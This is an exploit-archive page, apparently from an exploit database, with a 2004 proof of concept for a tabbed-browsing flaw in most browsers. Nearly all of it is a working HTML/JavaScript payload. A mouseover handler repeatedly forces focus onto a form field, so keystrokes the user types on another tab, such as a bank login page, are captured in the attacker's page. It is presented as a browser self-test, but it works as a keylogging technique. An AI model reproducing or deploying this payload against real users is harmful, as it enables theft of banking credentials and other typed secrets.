[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Multiple (Almost all) Browsers Tabbed Browsing Vulnerabilities
# Published : 2004-10-22
# Author : Jakob Balle
# Previous Title : Ability Server <= 2.34 (APPE) Remote Buffer Overflow Exploit
# Next Title : MS Internet Explorer .ANI files handling Downloader Exploit (MS05-002)
<b>Test Your Browser</b><br>
<br>
Open the link below in a new tab, then try to type data into form fields on the CitiBank website.<br>
<br>
<a href="http://www.citibank.com/" onMouseOver="setInterval('document.myform.userinput.focus();', 10);">Open this Link in New Tab</a><br>
<br>
<form name="myform">
<b>Result: (Keystrokes you pressed on the CitiBank website.)</b><br>
<textarea name="userinput" rows="3"></textarea>
</form>
// www.Syue.com [2004-10-22]